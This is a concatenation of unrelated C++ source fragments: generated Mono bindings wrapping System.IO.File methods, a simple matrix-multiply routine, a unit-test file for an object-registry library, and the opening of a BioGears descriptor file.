File::SetCreationTimeUtc(mscorlib::System::String path, mscorlib::System::DateTime creationTimeUtc) { MonoType *__parameter_types__[2]; void *__parameters__[2]; __parameter_types__[0] = Global::GetType(typeid(path).name()); __parameter_types__[1] = Global::GetType(typeid(creationTimeUtc).name()); __parameters__[0] = (MonoObject*)path; __parameters__[1] = (MonoObject*)creationTimeUtc; Global::InvokeMethod("mscorlib", "System.IO", "File", 0, NULL, "SetCreationTimeUtc", NullMonoObject, 2, __parameter_types__, __parameters__, NULL); } void File::SetCreationTimeUtc(const char *path, mscorlib::System::DateTime creationTimeUtc) { MonoType *__parameter_types__[2]; void *__parameters__[2]; __parameter_types__[0] = Global::GetType("mscorlib", "System", "String"); __parameter_types__[1] = Global::GetType(typeid(creationTimeUtc).name()); __parameters__[0] = mono_string_new(Global::GetDomain(), path); __parameters__[1] = (MonoObject*)creationTimeUtc; Global::InvokeMethod("mscorlib", "System.IO", "File", 0, NULL, "SetCreationTimeUtc", NullMonoObject, 2, __parameter_types__, __parameters__, NULL); } void File::SetLastAccessTime(mscorlib::System::String path, mscorlib::System::DateTime lastAccessTime) { MonoType *__parameter_types__[2]; void *__parameters__[2]; __parameter_types__[0] = Global::GetType(typeid(path).name()); __parameter_types__[1] = Global::GetType(typeid(lastAccessTime).name()); __parameters__[0] = (MonoObject*)path; __parameters__[1] = (MonoObject*)lastAccessTime; Global::InvokeMethod("mscorlib", "System.IO", "File", 0, NULL, "SetLastAccessTime", NullMonoObject, 2, __parameter_types__, __parameters__, NULL); } void File::SetLastAccessTime(const char *path, mscorlib::System::DateTime lastAccessTime) { MonoType *__parameter_types__[2]; void *__parameters__[2]; __parameter_types__[0] = Global::GetType("mscorlib", "System", "String"); __parameter_types__[1] = Global::GetType(typeid(lastAccessTime).name()); __parameters__[0] = mono_string_new(Global::GetDomain(), path); __parameters__[1] = (MonoObject*)lastAccessTime; Global::InvokeMethod("mscorlib", "System.IO", "File", 0, NULL, "SetLastAccessTime", NullMonoObject, 2, __parameter_types__, __parameters__, NULL); } void File::SetLastAccessTimeUtc(mscorlib::System::String path, mscorlib::System::DateTime lastAccessTimeUtc) { MonoType *__parameter_types__[2]; void *__parameters__[2]; __parameter_types__[0] = Global::GetType(typeid(path).name()); __parameter_types__[1] = Global::GetType(typeid(lastAccessTimeUtc).name()); __parameters__[0] = (MonoObject*)path; __parameters__[1] = (MonoObject*)lastAccessTimeUtc; Global::InvokeMethod("mscorlib", "System.IO", "File", 0, NULL, "SetLastAccessTimeUtc", NullMonoObject, 2, __parameter_types__, __parameters__, NULL); } void File::SetLastAccessTimeUtc(const char *path, mscorlib::System::DateTime lastAccessTimeUtc) { MonoType *__parameter_types__[2]; void *__parameters__[2]; __parameter_types__[0] = Global::GetType("mscorlib", "System", "String"); __parameter_types__[1] = Global::GetType(typeid(lastAccessTimeUtc).name()); __parameters__[0] = mono_string_new(Global::GetDomain(), path); __parameters__[1] = (MonoObject*)lastAccessTimeUtc; Global::InvokeMethod("mscorlib", "System.IO", "File", 0, NULL, "SetLastAccessTimeUtc", NullMonoObject, 2, __parameter_types__, __parameters__, NULL); } void File::SetLastWriteTime(mscorlib::System::String path, mscorlib::System::DateTime lastWriteTime) { MonoType *__parameter_types__[2]; void *__parameters__[2]; __parameter_types__[0] = Global::GetType(typeid(path).name()); __parameter_types__[1] = Global::GetType(typeid(lastWriteTime).name()); __parameters__[0] = (MonoObject*)path; __parameters__[1] = (MonoObject*)lastWriteTime; Global::InvokeMethod("mscorlib", "System.IO", "File", 0, NULL, "SetLastWriteTime", NullMonoObject, 2, __parameter_types__, __parameters__, NULL); } void File::SetLastWriteTime(const char *path, mscorlib::System::DateTime lastWriteTime) { MonoType *__parameter_types__[2]; void *__parameters__[2]; __parameter_types__[0] = Global::GetType("mscorlib", "System", "String"); __parameter_types__[1] = Global::GetType(typeid(lastWriteTime).name()); __parameters__[0] = mono_string_new(Global::GetDomain(), path); __parameters__[1] = (MonoObject*)lastWriteTime; Global::InvokeMethod("mscorlib", "System.IO", "File", 0, NULL, "SetLastWriteTime", NullMonoObject, 2, __parameter_types__, __parameters__, NULL); } void File::SetLastWriteTimeUtc(mscorlib::System::String path, mscorlib::System::DateTime lastWriteTimeUtc) { MonoType *__parameter_types__[2]; void *__parameters__[2]; __parameter_types__[0] = Global::GetType(typeid(path).name()); __parameter_types__[1] = Global::GetType(typeid(lastWriteTimeUtc).name()); __parameters__[0] = (MonoObject*)path; __parameters__[1] = (MonoObject*)lastWriteTimeUtc; Global::InvokeMethod("mscorlib", "System.IO", "File", 0, NULL, "SetLastWriteTimeUtc", NullMonoObject, 2, __parameter_types__, __parameters__, NULL); } void File::SetLastWriteTimeUtc(const char *path, mscorlib::System::DateTime lastWriteTimeUtc) { MonoType *__parameter_types__[2]; void *__parameters__[2]; __parameter_types__[0] = Global::GetType("mscorlib", "System", "String"); __parameter_types__[1] = Global::GetType(typeid(lastWriteTimeUtc).name()); __parameters__[0] = mono_string_new(Global::GetDomain(), path); __parameters__[1] = (MonoObject*)lastWriteTimeUtc; Global::InvokeMethod("mscorlib", "System.IO", "File", 0, NULL, "SetLastWriteTimeUtc", NullMonoObject, 2, __parameter_types__, __parameters__, NULL); } std::vector File::ReadAllBytes(mscorlib::System::String path) { MonoType *__parameter_types__[1]; void *__parameters__[1]; __parameter_types__[0] = Global::GetType(typeid(path).name()); __parameters__[0] = (MonoObject*)path; MonoObject *__result__ = Global::InvokeMethod("mscorlib", "System.IO", "File", 0, NULL, "ReadAllBytes", NullMonoObject, 1, __parameter_types__, __parameters__, NULL); MonoArray *__array_ptr__ = (MonoArray*)__result__; uintptr_t __array_length__ = mono_array_length(__array_ptr__); std::vector __array_result__(__array_length__); for(uintptr_t __array_index__ = 0; __array_index__ < __array_length__; __array_index__++) { MonoObject *__array_item__ = mono_array_get(__array_ptr__,MonoObject*,__array_index__); __array_result__.push_back(new mscorlib::System::Byte (__array_item__)); } return __array_result__; } std::vector File::ReadAllBytes(const char *path) { MonoType *__parameter_types__[1]; void *__parameters__[1]; __parameter_types__[0] = Global::GetType("mscorlib", "System", "String"); __parameters__[0] = mono_string_new(Global::GetDomain(), path); MonoObject *__result__ = Global::InvokeMethod("mscorlib", "System.IO", "File", 0, NULL, "ReadAllBytes", NullMonoObject, 1, __parameter_types__, __parameters__, NULL); MonoArray *__array_ptr__ = (MonoArray*)__result__; uintptr_t __array_length__ = mono_array_length(__array_ptr__); std::vector __array_result__(__array_length__); for(uintptr_t __array_index__ = 0; __array_index__ < __array_length__; __array_index__++) { MonoObject *__array_item__ = mono_array_get(__array_ptr__,MonoObject*,__array_index__); __array_result__.push_back(new mscorlib::System::Byte (__array_item__)); } return __array_result__; } std::vector File::ReadAllLines(mscorlib::System::String path) { MonoType *__parameter_types__[1]; void *__parameters__[1]; __parameter_types__[0] = Global::GetType(typeid(path).name()); __parameters__[0] = (MonoObject*)path; MonoObject *__result__ = Global::InvokeMethod("mscorlib", "System.IO", "File", 0, NULL, "ReadAllLines", NullMonoObject, 1, __parameter_types__, __parameters__, NULL); MonoArray *__array_ptr__ = (MonoArray*)__result__; uintptr_t __array_length__ = mono_array_length(__array_ptr__); std::vector __array_result__(__array_length__); for(uintptr_t __array_index__ = 0; __array_index__ < __array_length__; __array_index__++) { MonoObject *__array_item__ = mono_array_get(__array_ptr__,MonoObject*,__array_index__); __array_result__.push_back(new mscorlib::System::String (__array_item__)); } return __array_result__; } std::vector File::ReadAllLines(const char *path) { MonoType *__parameter_types__[1]; void *__parameters__[1]; __parameter_types__[0] = Global::GetType("mscorlib", "System", "String"); __parameters__[0] = mono_string_new(Global::GetDomain(), path); MonoObject *__result__ = Global::InvokeMethod("mscorlib", "System.IO", "File", 0, NULL, "ReadAllLines", NullMonoObject, 1, __parameter_types__, __parameters__, NULL); MonoArray *__array_ptr__ = (MonoArray*)__result__; uintptr_t __array_length__ = mono_array_length(__array_ptr__); std::vector __array_result__(__array_length__); for(uintptr_t __array_index__ = 0; __array_index__ < __array_length__; __array_index__++) { MonoObject *__array_item__ = mono_array_get(__array_ptr__,MonoObject*,__array_index__); __array_result__.push_back(new mscorlib::System::String (__array_item__)); } return __array_result__; } std::vector File::ReadAllLines(mscorlib::System::String path, mscorlib::System::Text::Encoding encoding) { MonoType *__parameter_types__[2]; void *__parameters__[2]; __parameter_types__[0] = Global::GetType(typeid(path).name()); __parameter_types__[1] = Global::GetType(typeid(encoding).name()); __parameters__[0] = (MonoObject*)path; __parameters__[1] = (MonoObject*)encoding; MonoObject *__result__ = Global::InvokeMethod("mscorlib", "System.IO", "File", 0, NULL, "ReadAllLines", NullMonoObject, 2, __parameter_types__, __parameters__, NULL); MonoArray *__array_ptr__ = (MonoArray*)__result__; uintptr_t __array_length__ = mono_array_length(__array_ptr__); std::vector __array_result__(__array_length__); for(uintptr_t __array_index__ = 0; __array_index__ < __array_length__; __array_index__++) { MonoObject *__array_item__ = mono_array_get(__array_ptr__,MonoObject*,__array_index__); __array_result__.push_back(new mscorlib::System::String (__array_item__)); } return __array_result__; } std::vector File::ReadAllLines(const char *path, mscorlib::System::Text::Encoding encoding) { MonoType *__parameter_types__[2]; void *__parameters__[2]; __parameter_types__[0] = Global::GetType("mscorlib", "System", "String"); __parameter_types__[1] = Global::GetType(typeid(encoding).name()); __parameters__[0] = mono_string_new(Global::GetDomain(), path); __parameters__[1] = (MonoObject*)encoding; MonoObject *__result__ = Global::InvokeMethod("mscorlib", "System.IO", "File", 0, NULL, "ReadAllLines", NullMonoObject, 2, __parameter_types__, __parameters__, NULL); MonoArray *__array_ptr__ = (MonoArray*)__result__; uintptr_t __array_length__ = mono_array_length(__array_ptr__); std::vector __array_result__(__array_length__); for(uintptr_t __array_index__ = 0; __array_index__ < __array_length__; __array_index__++) { MonoObject *__array_item__ = mono_array_get(__array_ptr__,MonoObject*,__array_index__); __array_result__.push_back(new mscorlib::System::String (__array_item__)); } return __array_result__; } mscorlib::System::String File::ReadAllText(mscorlib::System::String path) { MonoType *__parameter_types__[1]; void *__parameters__[1]; __parameter_types__[0] = Global::GetType(typeid(path).name()); __parameters__[0] = (MonoObject*)path; MonoObject *__result__ = Global::InvokeMethod("mscorlib", "System.IO", "File", 0, NULL, "ReadAllText", NullMonoObject, 1, __parameter_types__, __parameters__, NULL); return mscorlib::System::String(__result__); } mscorlib::System::String File::ReadAllText(const char *path) { MonoType *__parameter_types__[1]; void *__parameters__[1]; __parameter_types__[0] = Global::GetType("mscorlib", "System", "String"); __parameters__[0] = mono_string_new(Global::GetDomain(), path); MonoObject *__result__ = Global::InvokeMethod("mscorlib", "System.IO", "File", 0, NULL, "ReadAllText", NullMonoObject, 1, __parameter_types__, __parameters__, NULL); return mscorlib::System::String(__result__); } mscorlib::System::String File::ReadAllText(mscorlib::System::String path, mscorlib::System::Text::Encoding encoding) { MonoType *__parameter_types__[2]; void *__parameters__[2]; __parameter_types__[0] = Global::GetType(typeid(path).name()); __parameter_types__[1] = Global::GetType(typeid(encoding).name()); __parameters__[0] = (MonoObject*)path; __parameters__[1] = (MonoObject*)encoding; MonoObject *__result__ = Global::InvokeMethod("mscorlib", "System.IO", "File", 0, NULL, "ReadAllText", NullMonoObject, 2, __parameter_types__, __parameters__, NULL); return mscorlib::System::String(__result__); } mscorlib::System::String File::ReadAllText(const char *path, mscorlib::System::Text::Encoding encoding) { MonoType *__parameter_types__[2]; void *__parameters__[2]; __parameter_types__[0] = Global::GetType("mscorlib", "System", "String"); __parameter_types__[1] = Global::GetType(typeid(encoding).name()); __parameters__[0] = mono_string_new(Global::GetDomain(), path); __parameters__[1] = (MonoObject*)encoding; MonoObject *__result__ = Global::InvokeMethod("mscorlib", "System.IO", "File", 0, NULL, "ReadAllText", NullMonoObject, 2, __parameter_types__, __parameters__, NULL); return mscorlib::System::String(__result__); } void File::WriteAllBytes(mscorlib::System::String path, std::vector bytes) { MonoType *__parameter_types__[2]; void *__parameters__[2]; __parameter_types__[0] = Global::GetType(typeid(path).name()); __parameter_types__[1] = mono_class_get_type(mono_array_class_get(mono_class_from_mono_type(Global::GetType("mscorlib", "System", "Byte")), 1)); __parameters__[0] = (MonoObject*)path; __parameters__[1] = Global::FromArray(bytes, typeid(mscorlib::System::Byte).name()); Global::InvokeMethod("mscorlib", "System.IO", "File", 0, NULL, "WriteAllBytes", NullMonoObject, 2, __parameter_types__, __parameters__, NULL); } void File::WriteAllBytes(const char *path, std::vector bytes) { MonoType *__parameter_types__[2]; void *__parameters__[2]; __parameter_types__[0] = Global::GetType("mscorlib", "System", "String"); __parameter_types__[1] = mono_class_get_type(mono_array_class_get(mono_class_from_mono_type(Global::GetType("mscorlib", "System", "Byte")), 1)); __parameters__[0] = mono_string_new(Global::GetDomain(), path); __parameters__[1] = Global::FromArray(bytes, typeid(mscorlib::System::Byte).name()); Global::InvokeMethod("mscorlib", "System.IO", "File", 0, NULL, "WriteAllBytes", NullMonoObject, 2, __parameter_types__, __parameters__, NULL); } void File::WriteAllLines(mscorlib::System::String path, std::vector contents) { MonoType *__parameter_types__[2]; void *__parameters__[2]; __parameter_types__[0] = Global::GetType(typeid(path).name()); __parameter_types__[1] = mono_class_get_type(mono_array_class_get(mono_class_from_mono_type(Global::GetType("mscorlib", "System", "String")), 1)); __parameters__[0] = (MonoObject*)path; __parameters__[1] = Global::FromArray(contents, typeid(mscorlib::System::String).name()); Global::InvokeMethod("mscorlib", "System.IO", "File", 0, NULL, "WriteAllLines", NullMonoObject, 2, __parameter_types__, __parameters__, NULL); } void File::WriteAllLines(const char *path, std::vector contents) { MonoType *__parameter_types__[2]; void *__parameters__[2]; __parameter_types__[0] = Global::GetType("mscorlib", "System", "String"); __parameter_types__[1] = mono_class_get_type(mono_array_class_get(mono_class_from_mono_type(Global::GetType("mscorlib", "System", "String")), 1)); __parameters__[0] = mono_string_new(Global::GetDomain(), path); __parameters__[1] = Global::FromArray(contents, typeid(mscorlib::System::String).name()); Global::InvokeMethod("mscorlib", "System.IO", "File", 0, NULL, "WriteAllLines", NullMonoObject, 2, __parameter_types__, __parameters__, NULL); } void File::WriteAllLines(mscorlib::System::String path, std::vector contents, mscorlib::System::Text::Encoding encoding) { MonoType *__parameter_types__[3]; void *__parameters__[3]; __parameter_types__[0] = Global::GetType(typeid(path).name()); __parameter_types__[1] = mono_class_get_type(mono_array_class_get(mono_class_from_mono_type(Global::GetType("mscorlib", "System", "String")), 1)); __parameter_types__[2] = Global::GetType(typeid(encoding).name()); __parameters__[0] = (MonoObject*)path; __parameters__[1] = Global::FromArray(contents, typeid(mscorlib::System::String).name()); __parameters__[2] = (MonoObject*)encoding; Global::InvokeMethod("mscorlib", "System.IO", "File", 0, NULL, "WriteAllLines", NullMonoObject, 3, __parameter_types__, __parameters__, NULL); } void File::WriteAllLines(const char *path, std::vector contents, mscorlib::System::Text::Encoding encoding) { MonoType *__parameter_types__[3]; void *__parameters__[3]; __parameter_types__[0] = Global::GetType("mscorlib", "System", "String"); __parameter_types__[1] = mono_class_get_type(mono_array_class_get(mono_class_from_mono_type(Global::GetType("mscorlib", "System", "String")), 1)); __parameter_types__[2] = Global::GetType(typeid(encoding).name()); __parameters__[0] = mono_string_new(Global::GetDomain(), path); __parameters__[1] = Global::FromArray(contents, typeid(mscorlib::System::String).name()); __parameters__[2] = (MonoObject*)encoding; Global::InvokeMethod("mscorlib", "System.IO", "File", 0, NULL, "WriteAllLines", NullMonoObject, 3, __parameter_types__, __parameters__, NULL); } void File::WriteAllText(mscorlib::System::String path, mscorlib::System::String contents) { MonoType *__parameter_types__[2]; void *__parameters__[2]; __parameter_types__[0] = Global::GetType(typeid(path).name()); __parameter_types__[1] = Global::GetType(typeid(contents).name()); __parameters__[0] = (MonoObject*)path; __parameters__[1] = (MonoObject*)contents; Global::InvokeMethod("mscorlib", "System.IO", "File", 0, NULL, "WriteAllText", NullMonoObject, 2, __parameter_types__, __parameters__, NULL); } void File::WriteAllText(const char *path, const char *contents) { MonoType *__parameter_types__[2]; void *__parameters__[2]; __parameter_types__[0] = Global::GetType("mscorlib", "System", "String"); __parameter_types__[1] = Global::GetType("mscorlib", "System", "String"); __parameters__[0] = mono_string_new(Global::GetDomain(), path); __parameters__[1] = mono_string_new(Global::GetDomain(), contents); Global::InvokeMethod("mscorlib", "System.IO", "File", 0, NULL, "WriteAllText", NullMonoObject, 2, __parameter_types__, __parameters__, NULL); } void File::WriteAllText(mscorlib::System::String path, mscorlib::System::String contents, mscorlib::System::Text::Encoding encoding) { MonoType *__parameter_types__[3]; void *__parameters__[3]; __parameter_types__[0] = Global::GetType(typeid(path).name()); __parameter_types__[1] = Global::GetType(typeid(contents).name()); __parameter_types__[2] = Global::GetType(typeid(encoding).name()); __parameters__[0] = (MonoObject*)path; __parameters__[1] = (MonoObject*)contents; __parameters__[2] = (MonoObject*)encoding; Global::InvokeMethod("mscorlib", "System.IO", "File", 0, NULL, "WriteAllText", NullMonoObject, 3, __parameter_types__, __parameters__, NULL); } void File::WriteAllText(const char *path, const char *contents, mscorlib::System::Text::Encoding encoding) { MonoType *__parameter_types__[3]; void *__parameters__[3]; __parameter_types__[0] = Global::GetType("mscorlib", "System", "String"); __parameter_types__[1] = Global::GetType("mscorlib", "System", "String"); __parameter_types__[2] = Global::GetType(typeid(encoding).name()); __parameters__[0] = mono_string_new(Global::GetDomain(), path); __parameters__[1] = mono_string_new(Global::GetDomain(), contents); __parameters__[2] = (MonoObject*)encoding; Global::InvokeMethod("mscorlib", "System.IO", "File", 0, NULL, "WriteAllText", NullMonoObject, 3, __parameter_types__, __parameters__, NULL); } void File::Encrypt(mscorlib::System::String path) { MonoType *__parameter_types__[1]; void *__parameters__[1]; __parameter_types__[0] = Global::GetType(typeid(path).name()); __parameters__[0] = (MonoObject*)path; Global::InvokeMethod("mscorlib", "System.IO", "File", 0, NULL, "Encrypt", NullMonoObject, 1, __parameter_types__, __parameters__, NULL); } void File::Encrypt(const char *path) { MonoType *__parameter_types__[1]; void *__parameters__[1]; __parameter_types__[0] = Global::GetType("mscorlib", "System", "String"); __parameters__[0] = mono_string_new(Global::GetDomain(), path); Global::InvokeMethod("mscorlib", "System.IO", "File", 0, NULL, "Encrypt", NullMonoObject, 1, __parameter_types__, __parameters__, NULL); } void File::Decrypt(mscorlib::System::String path) { MonoType *__parameter_types__[1]; void *__parameters__[1]; __parameter_types__[0] = Global::GetType(typeid(path).name()); __parameters__[0] = (MonoObject*)path; Global::InvokeMethod("mscorlib", "System.IO", "File", 0, NULL, "Decrypt", NullMonoObject, 1, __parameter_types__, __parameters__, NULL); } void File::Decrypt(const char *path) { MonoType *__parameter_types__[1]; void *__parameters__[1]; __parameter_types__[0] = Global::GetType("mscorlib", "System", "String"); __parameters__[0] = mono_string_new(Global::GetDomain(), path); Global::InvokeMethod("mscorlib", "System.IO", "File", 0, NULL, "Decrypt", NullMonoObject, 1, __parameter_types__, __parameters__, NULL); } mscorlib::System::Collections::Generic::IEnumerable File::ReadLines(mscorlib::System::String path) { MonoType *__parameter_types__[1]; void *__parameters__[1]; __parameter_types__[0] = Global::GetType(typeid(path).name()); __parameters__[0] = (MonoObject*)path; MonoObject *__result__ = Global::InvokeMethod("mscorlib", "System.IO", "File", 0, NULL, "ReadLines", NullMonoObject, 1, __parameter_types__, __parameters__, NULL); return mscorlib::System::Collections::Generic::IEnumerable(__result__); } mscorlib::System::Collections::Generic::IEnumerable File::ReadLines(const char *path) { MonoType *__parameter_types__[1]; void *__parameters__[1]; __parameter_types__[0] = Global::GetType("mscorlib", "System", "String"); __parameters__[0] = mono_string_new(Global::GetDomain(), path); MonoObject *__result__ = Global::InvokeMethod("mscorlib", "System.IO", "File", 0, NULL, "ReadLines", NullMonoObject, 1, __parameter_types__, __parameters__, NULL); return mscorlib::System::Collections::Generic::IEnumerable(__result__); } mscorlib::System::Collections::Generic::IEnumerable File::ReadLines(mscorlib::System::String path, mscorlib::System::Text::Encoding encoding) { MonoType *__parameter_types__[2]; void *__parameters__[2]; __parameter_types__[0] = Global::GetType(typeid(path).name()); __parameter_types__[1] = Global::GetType(typeid(encoding).name()); __parameters__[0] = (MonoObject*)path; __parameters__[1] = (MonoObject*)encoding; MonoObject *__result__ = Global::InvokeMethod("mscorlib", "System.IO", "File", 0, NULL, "ReadLines", NullMonoObject, 2, __parameter_types__, __parameters__, NULL); return mscorlib::System::Collections::Generic::IEnumerable(__result__); } mscorlib::System::Collections::Generic::IEnumerable File::ReadLines(const char *path, mscorlib::System::Text::Encoding encoding) { MonoType *__parameter_types__[2]; void *__parameters__[2]; __parameter_types__[0] = Global::GetType("mscorlib", "System", "String"); __parameter_types__[1] = Global::GetType(typeid(encoding).name()); __parameters__[0] = mono_string_new(Global::GetDomain(), path); __parameters__[1] = (MonoObject*)encoding; MonoObject *__result__ = Global::InvokeMethod("mscorlib", "System.IO", "File", 0, NULL, "ReadLines", NullMonoObject, 2, __parameter_types__, __parameters__, NULL); return mscorlib::System::Collections::Generic::IEnumerable(__result__); } void File::AppendAllLines(mscorlib::System::String path, mscorlib::System::Collections::Generic::IEnumerable contents) { MonoType *__parameter_types__[2]; void *__parameters__[2]; __parameter_types__[0] = Global::GetType(typeid(path).name()); __parameter_types__[1] = Global::GetType(typeid(contents).name()); __parameters__[0] = (MonoObject*)path; __parameters__[1] = (MonoObject*)contents; Global::InvokeMethod("mscorlib", "System.IO", "File", 0, NULL, "AppendAllLines", NullMonoObject, 2, __parameter_types__, __parameters__, NULL); } void File::AppendAllLines(const char *path, mscorlib::System::Collections::Generic::IEnumerable contents) { MonoType *__parameter_types__[2]; void *__parameters__[2]; __parameter_types__[0] = Global::GetType("mscorlib", "System", "String"); __parameter_types__[1] = Global::GetType(typeid(contents).name()); __parameters__[0] = mono_string_new(Global::GetDomain(), path); __parameters__[1] = (MonoObject*)contents; Global::InvokeMethod("mscorlib", "System.IO", "File", 0, NULL, "AppendAllLines", NullMonoObject, 2, __parameter_types__, __parameters__, NULL); } void File::AppendAllLines(mscorlib::System::String path, mscorlib::System::Collections::Generic::IEnumerable contents, mscorlib::System::Text::Encoding encoding) { MonoType *__parameter_types__[3]; void *__parameters__[3]; __parameter_types__[0] = Global::GetType(typeid(path).name()); __parameter_types__[1] = Global::GetType(typeid(contents).name()); __parameter_types__[2] = Global::GetType(typeid(encoding).name()); __parameters__[0] = (MonoObject*)path; __parameters__[1] = (MonoObject*)contents; __parameters__[2] = (MonoObject*)encoding; Global::InvokeMethod("mscorlib", "System.IO", "File", 0, NULL, "AppendAllLines", NullMonoObject, 3, __parameter_types__, __parameters__, NULL); } void File::AppendAllLines(const char *path, mscorlib::System::Collections::Generic::IEnumerable contents, mscorlib::System::Text::Encoding encoding) { MonoType *__parameter_types__[3]; void *__parameters__[3]; __parameter_types__[0] = Global::GetType("mscorlib", "System", "String"); __parameter_types__[1] = Global::GetType(typeid(contents).name()); __parameter_types__[2] = Global::GetType(typeid(encoding).name()); __parameters__[0] = mono_string_new(Global::GetDomain(), path); __parameters__[1] = (MonoObject*)contents; __parameters__[2] = (MonoObject*)encoding; Global::InvokeMethod("mscorlib", "System.IO", "File", 0, NULL, "AppendAllLines", NullMonoObject, 3, __parameter_types__, __parameters__, NULL); } void File::WriteAllLines(mscorlib::System::String path, mscorlib::System::Collections::Generic::IEnumerable contents) { MonoType *__parameter_types__[2]; void *__parameters__[2]; __parameter_types__[0] = Global::GetType(typeid(path).name()); __parameter_types__[1] = Global::GetType(typeid(contents).name()); __parameters__[0] = (MonoObject*)path; __parameters__[1] = (MonoObject*)contents; Global::InvokeMethod("mscorlib", "System.IO", "File", 0, NULL, "WriteAllLines", NullMonoObject, 2, __parameter_types__, __parameters__, NULL); } void File::WriteAllLines(const char *path, mscorlib::System::Collections::Generic::IEnumerable contents) { MonoType *__parameter_types__[2]; void *__parameters__[2]; __parameter_types__[0] = Global::GetType("mscorlib", "System", "String"); __parameter_types__[1] = Global::GetType(typeid(contents).name()); __parameters__[0] = mono_string_new(Global::GetDomain(), path); __parameters__[1] = (MonoObject*)contents; Global::InvokeMethod("mscorlib", "System.IO", "File", 0, NULL, "WriteAllLines", NullMonoObject, 2, __parameter_types__, __parameters__, NULL); } void File::WriteAllLines(mscorlib::System::String path, mscorlib::System::Collections::Generic::IEnumerable contents, mscorlib::System::Text::Encoding encoding) { MonoType *__parameter_types__[3]; void *__parameters__[3]; __parameter_types__[0] = Global::GetType(typeid(path).name()); __parameter_types__[1] = Global::GetType(typeid(contents).name()); __parameter_types__[2] = Global::GetType(typeid(encoding).name()); __parameters__[0] = (MonoObject*)path; __parameters__[1] = (MonoObject*)contents; __parameters__[2] = (MonoObject*)encoding; Global::InvokeMethod("mscorlib", "System.IO", "File", 0, NULL, "WriteAllLines", NullMonoObject, 3, __parameter_types__, __parameters__, NULL); } void File::WriteAllLines(const char *path, mscorlib::System::Collections::Generic::IEnumerable contents, mscorlib::System::Text::Encoding encoding) { MonoType *__parameter_types__[3]; void *__parameters__[3]; __parameter_types__[0] = Global::GetType("mscorlib", "System", "String"); __parameter_types__[1] = Global::GetType(typeid(contents).name()); __parameter_types__[2] = Global::GetType(typeid(encoding).name()); __parameters__[0] = mono_string_new(Global::GetDomain(), path); __parameters__[1] = (MonoObject*)contents; __parameters__[2] = (MonoObject*)encoding; Global::InvokeMethod("mscorlib", "System.IO", "File", 0, NULL, "WriteAllLines", NullMonoObject, 3, __parameter_types__, __parameters__, NULL); } } } } ermig1979/mmosbs #include "defs.h" void gemm_v1(int M, int N, int K, const float * A, const float * B, float * C) { for (int i = 0; i < M; ++i) { float * c = C + i * N; for (int j = 0; j < N; ++j) c[j] = 0; for (int k = 0; k < K; ++k) { const float * b = B + k * N; float a = A[i*K + k]; for (int j = 0; j < N; ++j) c[j] += a * b[j]; } } }test/src/test_object_registry.cpp // Copyright (c) 2012 // All Rights Reserved // // Distributed under the "BSD License". See the accompanying LICENSE.rst file. #include #include #include #include "test_object_xyz_lib/test_object_xyz_lib_b.hpp" // ----- BASIC SOCKET TEST ------- class socket { public: virtual std::string write() = 0; }; class rate_socket : public socket { public: std::string write() { return std::string("rate_socket write"); } }; SAK_DEFINE_PARENT(rate_socket, socket) class rate_socket_factory { public: typedef rate_socket object_type; std::shared_ptr build(sak::object_registry&) { return std::make_shared(); } }; // Testing that the building a base type with the registry works TEST(ObjectFactory, register_type) { sak::object_registry registry; registry.set_factory(); auto s = registry.build(); EXPECT_EQ("rate_socket write", s->write()); auto f = registry.get_factory(); s = f->build(registry); EXPECT_EQ("rate_socket write", s->write()); } std::shared_ptr build_rate_socket(sak::object_registry&) { return std::make_shared(); } // Testing factory function TEST(ObjectFactory, register_type_function) { sak::object_registry registry; registry.set_factory( std::bind(build_rate_socket, std::placeholders::_1)); auto s = registry.build(); EXPECT_EQ("rate_socket write", s->write()); } // Testing set_object + get_object TEST(ObjectFactory, set_get_object) { sak::object_registry registry; registry.set_object(); auto rate_socket_1 = registry.get_object(); auto rate_socket_2 = registry.get_object(); EXPECT_TRUE(rate_socket_1 != 0); EXPECT_TRUE(rate_socket_2 != 0); EXPECT_EQ(rate_socket_1, rate_socket_2); } // ----- NAMESPACE TEST ------- namespace foobar { class magic_socket : public rate_socket { public: std::string write() { return std::string("magic_socket write"); } }; class magic_socket_factory { public: typedef rate_socket object_type; std::shared_ptr build(sak::object_registry&) { return std::make_shared(); } }; } SAK_DEFINE_PARENT(foobar::magic_socket, rate_socket) // Testing parent definition inside other namespace TEST(ObjectFactory, register_type_namespace) { using namespace foobar; sak::object_registry registry; registry.set_factory(); auto s = registry.build(); EXPECT_EQ("magic_socket write", s->write()); } // ----- FLOWER FACTORY TEST ------- enum Color { red, green, blue }; class plant { Color m_color; public: plant(Color c) : m_color(c) {} Color color() { return m_color; } }; class flower: public plant { public: flower(Color c) : plant(c) {} }; SAK_DEFINE_PARENT(flower, plant) class flower_factory { Color m_color; public: flower_factory() : m_color(Color::green) {} // use green as default color void set_color(Color c) { m_color = c; } std::shared_ptr build(sak::object_registry&) { return std::make_shared(m_color); } }; // Testing factory with custom parameters TEST(ObjectFactory, set_factory_param) { sak::object_registry registry; registry.set_factory(); // Build a "default" flower auto fl = registry.build(); EXPECT_EQ(Color::green, fl->color()); // Get the factory and change the color to red auto factory = registry.get_factory(); factory->set_color(Color::red); // Build a red flower auto fl2 = registry.build(); EXPECT_EQ(Color::red, fl2->color()); } // Testing factory for types defined in a static library TEST(ObjectFactory, register_type_from_lib) { sak::object_registry registry; // Pear factory will produce fruits registry.set_factory(); registry.set_factory(); auto a = registry.build(); // The duck should eat a green pear now EXPECT_EQ("duck eats fruit which is green", a->eat()); // Change the factory that produces fruit registry.set_factory(); a = registry.build(); // The duck should eat a red apple now EXPECT_EQ("duck eats fruit which is red", a->eat()); } // Testing set_factory + get_factory TEST(ObjectFactory, get_factory) { sak::object_registry registry; registry.set_factory(); registry.set_factory(); auto factory = registry.get_factory(); auto d = factory->build(registry); EXPECT_EQ("duck eats fruit which is green", d->eat()); } 10-100 /************************************************************************************** Copyright 2015 Applied Research Associates, Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at: http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. **************************************************************************************/ //---------------------------------------------------------------------------- /// @file QuantityTypeDescriptor.cpp /// @author //---------------------------------------------------------------------------- #include #include #include //---------------------------------------------------------------------------- namespace biogears { CQuantityTypeDescriptor::CQuantityTypeDescriptor(const char* name, int fundIdx, bool twentyLog) : CQuantityTypeDescriptor(std::string{ name }, fundIdx, twentyLog) { } 